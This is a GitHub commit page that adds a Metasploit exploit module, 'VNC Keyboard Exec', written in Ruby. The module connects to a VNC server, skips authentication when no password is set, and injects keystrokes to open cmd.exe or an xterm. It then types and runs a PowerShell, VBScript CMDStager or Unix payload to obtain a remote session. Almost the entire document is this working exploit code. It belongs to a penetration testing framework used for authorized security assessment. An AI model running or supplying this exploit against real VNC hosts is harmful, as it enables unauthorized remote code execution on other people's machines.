Skip to content

Commit 858f63c

Browse files
committed
Land rapid7#5693, @xistence VNC Keyboard EXEC module
2 parents e063e26 + 1326a26 commit 858f63c

File tree

1 file changed

+183
-0
lines changed

1 file changed

+183
-0
lines changed
Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/rfb'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
11+
Rank = GreatRanking
12+
WINDOWS_KEY = "\xff\xeb"
13+
ENTER_KEY = "\xff\x0d"
14+
15+
include Msf::Exploit::Remote::Tcp
16+
include Msf::Exploit::CmdStager
17+
include Msf::Exploit::Powershell
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'VNC Keyboard Exec',
22+
'Description' => %q{
23+
This module exploits VNC servers by sending virtual keyboard keys and executing
24+
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
25+
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
26+
and a payload is typed and executed.
27+
},
28+
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
29+
'Privileged' => false,
30+
'DefaultOptions' => { 'WfsDelay' => 20 },
31+
'License' => MSF_LICENSE,
32+
'Platform' => %w{ win unix },
33+
'Targets' =>
34+
[
35+
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
36+
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
37+
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
38+
],
39+
'DisclosureDate' => 'Jul 10 2015',
40+
'DefaultTarget' => 0))
41+
42+
register_options(
43+
[
44+
Opt::RPORT(5900),
45+
OptString.new('PASSWORD', [ false, 'The VNC password']),
46+
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
47+
], self.class)
48+
end
49+
50+
51+
def press_key(key)
52+
keyboard_key = "\x04\x01" # Press key
53+
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
54+
keyboard_key << key # The keyboard key
55+
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
56+
sock.put(keyboard_key)
57+
end
58+
59+
60+
def release_key(key)
61+
keyboard_key = "\x04\x00" # Release key
62+
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
63+
keyboard_key << key # The keyboard key
64+
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
65+
sock.put(keyboard_key)
66+
end
67+
68+
69+
def exec_command(command)
70+
values = command.chars.to_a
71+
values.each do |value|
72+
press_key("\x00#{value}")
73+
release_key("\x00#{value}")
74+
end
75+
press_key(ENTER_KEY)
76+
end
77+
78+
79+
def start_cmd_prompt
80+
print_status("#{rhost}:#{rport} - Opening Run command")
81+
# Pressing and holding windows key for 1 second
82+
press_key(WINDOWS_KEY)
83+
Rex.select(nil, nil, nil, 1)
84+
# Press the "r" key
85+
press_key("\x00r")
86+
# Now we can release both keys again
87+
release_key("\x00r")
88+
release_key(WINDOWS_KEY)
89+
# Wait a second to open run command window
90+
select(nil, nil, nil, 1)
91+
exec_command('cmd.exe')
92+
# Wait a second for cmd.exe prompt to open
93+
Rex.select(nil, nil, nil, 1)
94+
end
95+
96+
97+
def exploit
98+
99+
begin
100+
alt_key = "\xff\xe9"
101+
f2_key = "\xff\xbf"
102+
password = datastore['PASSWORD']
103+
104+
connect
105+
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
106+
107+
unless vnc.handshake
108+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
109+
end
110+
111+
if password.nil?
112+
print_status("#{rhost}:#{rport} - Bypass authentication")
113+
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
114+
sock.put("\x10")
115+
else
116+
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
117+
if vnc.authenticate(password)
118+
print_status("#{rhost}:#{rport} - Authenticated")
119+
else
120+
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
121+
end
122+
end
123+
124+
# Send shared desktop
125+
unless vnc.send_client_init
126+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
127+
end
128+
129+
if target.name =~ /VBScript CMDStager/
130+
start_cmd_prompt
131+
print_status("#{rhost}:#{rport} - Typing and executing payload")
132+
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
133+
# Exit the CMD prompt
134+
exec_command('exit')
135+
elsif target.name =~ /Powershell/
136+
start_cmd_prompt
137+
print_status("#{rhost}:#{rport} - Typing and executing payload")
138+
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
139+
# Execute powershell payload and make sure we exit our CMD prompt
140+
exec_command("#{command} && exit")
141+
elsif target.name =~ /Linux/
142+
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
143+
# Press the ALT key and hold it for a second
144+
press_key(alt_key)
145+
Rex.select(nil, nil, nil, 1)
146+
# Press F2 to start up "Run application"
147+
press_key(f2_key)
148+
# Release ALT + F2
149+
release_key(alt_key)
150+
release_key(f2_key)
151+
# Wait a second for "Run application" to start
152+
Rex.select(nil, nil, nil, 1)
153+
# Start a xterm window
154+
print_status("#{rhost}:#{rport} - Opening xterm")
155+
exec_command('xterm')
156+
# Wait a second for "xterm" to start
157+
Rex.select(nil, nil, nil, 1)
158+
# Execute our payload and exit (close) the xterm window
159+
print_status("#{rhost}:#{rport} - Typing and executing payload")
160+
exec_command("nohup #{payload.encoded} &")
161+
exec_command('exit')
162+
end
163+
164+
(datastore['TIME_WAIT']).times do
165+
Rex.sleep(1)
166+
167+
# Success! session is here!
168+
break if session_created?
169+
end
170+
171+
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
172+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
173+
ensure
174+
disconnect
175+
end
176+
end
177+
178+
def execute_command(cmd, opts = {})
179+
exec_command(cmd)
180+
end
181+
182+
end
183+

0 commit comments

Comments
 (0)